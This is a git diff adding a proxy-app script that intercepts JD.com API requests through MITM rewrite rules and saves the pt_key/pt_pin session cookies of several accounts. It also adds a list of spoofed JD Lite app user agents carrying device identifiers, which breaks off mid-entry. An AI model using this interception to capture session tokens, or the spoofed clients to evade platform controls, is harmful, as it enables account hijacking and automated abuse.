+使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000..e4da11d --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 